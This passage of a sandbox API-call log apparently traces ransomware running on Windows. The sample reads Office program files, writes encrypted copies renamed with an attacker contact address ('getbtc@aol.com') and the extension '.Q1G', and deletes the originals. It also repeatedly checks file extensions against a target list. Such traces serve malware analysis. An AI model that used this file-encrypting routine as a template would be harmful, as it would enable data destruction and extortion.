lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.303] GetLastError () returned 0x0 [0261.303] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x14fa0, lpOverlapped=0x0) returned 1 [0261.307] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x14fb0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x14fb0, lpOverlapped=0x0) returned 1 [0261.308] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.309] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0261.309] SetEndOfFile (hFile=0x37c) returned 1 [0261.309] CloseHandle (hObject=0x37c) returned 1 [0261.309] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.309] SetEndOfFile (hFile=0x39c) returned 1 [0261.312] CloseHandle (hObject=0x39c) returned 1 [0261.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add")) returned 1 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString=".doc") returned 4 [0261.313] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".docx") returned 5 [0261.313] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0261.313] lstrlenW (lpString=".pdf") returned 4 [0261.313] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".xls") returned 4 [0261.313] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".xlsx") returned 5 [0261.313] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0261.313] lstrlenW (lpString=".ppt") returned 4 [0261.313] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString=".zip") returned 4 [0261.313] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".rar") returned 4 [0261.313] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".bz2") returned 4 [0261.313] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString=".7z") returned 3 [0261.313] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString=".dbf") returned 4 [0261.313] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString=".1cd") returned 4 [0261.313] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0261.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.313] lstrlenW (lpString=".jpg") returned 4 [0261.313] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString=".doc") returned 4 [0261.314] lstrcmpiW (lpString1=".doc", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".docx") returned 5 [0261.314] lstrcmpiW (lpString1=".docx", lpString2="P.ADD") returned -1 [0261.314] lstrlenW (lpString=".pdf") returned 4 [0261.314] lstrcmpiW (lpString1=".pdf", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".xls") returned 4 [0261.314] lstrcmpiW (lpString1=".xls", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".xlsx") returned 5 [0261.314] lstrcmpiW (lpString1=".xlsx", lpString2="P.ADD") returned -1 [0261.314] lstrlenW (lpString=".ppt") returned 4 [0261.314] lstrcmpiW (lpString1=".ppt", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString=".zip") returned 4 [0261.314] lstrcmpiW (lpString1=".zip", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".rar") returned 4 [0261.314] lstrcmpiW (lpString1=".rar", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".bz2") returned 4 [0261.314] lstrcmpiW (lpString1=".bz2", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString=".7z") returned 3 [0261.314] lstrcmpiW (lpString1=".7z", lpString2="ADD") returned -1 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString=".dbf") returned 4 [0261.314] lstrcmpiW (lpString1=".dbf", lpString2=".ADD") returned 1 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString=".1cd") returned 4 [0261.314] lstrcmpiW (lpString1=".1cd", lpString2=".ADD") returned -1 [0261.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD") returned 53 [0261.314] lstrlenW (lpString=".jpg") returned 4 [0261.314] lstrcmpiW (lpString1=".jpg", lpString2=".ADD") returned 1 [0261.315] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0261.315] lstrlenW (lpString="EXCEL.EXE") returned 9 [0261.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.428] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=28232544) returned 1 [0261.428] CloseHandle (hObject=0x1b8) returned 1 [0261.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe")) returned 0x20 [0261.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.447] lstrlenW (lpString=".doc") returned 4 [0261.447] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0261.447] lstrlenW (lpString=".docx") returned 5 [0261.447] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0261.447] lstrlenW (lpString=".pdf") returned 4 [0261.447] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0261.447] lstrlenW (lpString=".xls") returned 4 [0261.447] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0261.447] lstrlenW (lpString=".xlsx") returned 5 [0261.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0261.447] lstrlenW (lpString=".ppt") returned 4 [0261.447] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0261.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.447] lstrlenW (lpString=".zip") returned 4 [0261.447] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0261.447] lstrlenW (lpString=".rar") returned 4 [0261.447] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0261.447] lstrlenW (lpString=".bz2") returned 4 [0261.447] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0261.448] lstrlenW (lpString=".7z") returned 3 [0261.448] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".dbf") returned 4 [0261.448] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".1cd") returned 4 [0261.448] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".jpg") returned 4 [0261.448] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".doc") returned 4 [0261.448] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0261.448] lstrlenW (lpString=".docx") returned 5 [0261.448] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1 [0261.448] lstrlenW (lpString=".pdf") returned 4 [0261.448] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString=".xls") returned 4 [0261.448] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString=".xlsx") returned 5 [0261.448] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1 [0261.448] lstrlenW (lpString=".ppt") returned 4 [0261.448] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".zip") returned 4 [0261.448] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString=".rar") returned 4 [0261.448] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0261.448] lstrlenW (lpString=".bz2") returned 4 [0261.448] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0261.448] lstrlenW (lpString=".7z") returned 3 [0261.448] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0261.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.448] lstrlenW (lpString=".dbf") returned 4 [0261.449] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0261.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.449] lstrlenW (lpString=".1cd") returned 4 [0261.449] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0261.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52 [0261.449] lstrlenW (lpString=".jpg") returned 4 [0261.449] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0261.449] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.449] lstrlenW (lpString="ACTIVITL.ICO") returned 12 [0261.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.452] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1078) returned 1 [0261.452] CloseHandle (hObject=0x3dc) returned 1 [0261.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 0x20 [0261.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.455] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.455] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.503] GetLastError () returned 0x0 [0261.503] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x436, lpOverlapped=0x0) returned 1 [0261.509] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x440, lpOverlapped=0x0) returned 1 [0261.511] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.511] WriteFile (in: hFile=0x1f8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.511] SetEndOfFile (hFile=0x1f8) returned 1 [0261.511] CloseHandle (hObject=0x1f8) returned 1 [0261.511] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.511] SetEndOfFile (hFile=0x3dc) returned 1 [0261.534] CloseHandle (hObject=0x3dc) returned 1 [0261.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 1 [0261.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.535] lstrlenW (lpString=".doc") returned 4 [0261.535] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.535] lstrlenW (lpString=".docx") returned 5 [0261.535] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.535] lstrlenW (lpString=".pdf") returned 4 [0261.535] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.535] lstrlenW (lpString=".xls") returned 4 [0261.536] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString=".xlsx") returned 5 [0261.536] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.536] lstrlenW (lpString=".ppt") returned 4 [0261.536] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString=".zip") returned 4 [0261.536] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString=".rar") returned 4 [0261.536] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString=".bz2") returned 4 [0261.536] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.536] lstrlenW (lpString=".7z") returned 3 [0261.536] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString=".dbf") returned 4 [0261.536] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString=".1cd") returned 4 [0261.536] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString=".jpg") returned 4 [0261.536] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.536] lstrlenW (lpString=".doc") returned 4 [0261.536] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.536] lstrlenW (lpString=".docx") returned 5 [0261.536] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.536] lstrlenW (lpString=".pdf") returned 4 [0261.536] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString=".xls") returned 4 [0261.536] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.536] lstrlenW (lpString=".xlsx") returned 5 [0261.536] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.536] lstrlenW (lpString=".ppt") returned 4 [0261.537] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.537] lstrlenW (lpString=".zip") returned 4 [0261.537] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.537] lstrlenW (lpString=".rar") returned 4 [0261.537] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.537] lstrlenW (lpString=".bz2") returned 4 [0261.537] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.537] lstrlenW (lpString=".7z") returned 3 [0261.537] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.537] lstrlenW (lpString=".dbf") returned 4 [0261.537] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.537] lstrlenW (lpString=".1cd") returned 4 [0261.537] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0261.537] lstrlenW (lpString=".jpg") returned 4 [0261.537] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.537] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.537] lstrlenW (lpString="APPT.CFG") returned 8 [0261.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.538] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=789) returned 1 [0261.538] CloseHandle (hObject=0x3dc) returned 1 [0261.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 0x20 [0261.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.538] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.538] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.539] GetLastError () returned 0x0 [0261.539] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x315, lpOverlapped=0x0) returned 1 [0261.563] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x320, lpOverlapped=0x0) returned 1 [0261.564] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.564] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0261.564] SetEndOfFile (hFile=0x3e0) returned 1 [0261.564] CloseHandle (hObject=0x3e0) returned 1 [0261.564] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.564] SetEndOfFile (hFile=0x3dc) returned 1 [0261.566] CloseHandle (hObject=0x3dc) returned 1 [0261.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 1 [0261.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.601] lstrlenW (lpString=".doc") returned 4 [0261.601] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.601] lstrlenW (lpString=".docx") returned 5 [0261.601] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.608] lstrlenW (lpString=".pdf") returned 4 [0261.608] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.620] lstrlenW (lpString=".xls") returned 4 [0261.620] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.620] lstrlenW (lpString=".xlsx") returned 5 [0261.620] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.620] lstrlenW (lpString=".ppt") returned 4 [0261.620] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.620] lstrlenW (lpString=".zip") returned 4 [0261.620] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.629] lstrlenW (lpString=".rar") returned 4 [0261.629] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.629] lstrlenW (lpString=".bz2") returned 4 [0261.629] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.629] lstrlenW (lpString=".7z") returned 3 [0261.629] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.629] lstrlenW (lpString=".dbf") returned 4 [0261.629] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.629] lstrlenW (lpString=".1cd") returned 4 [0261.638] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 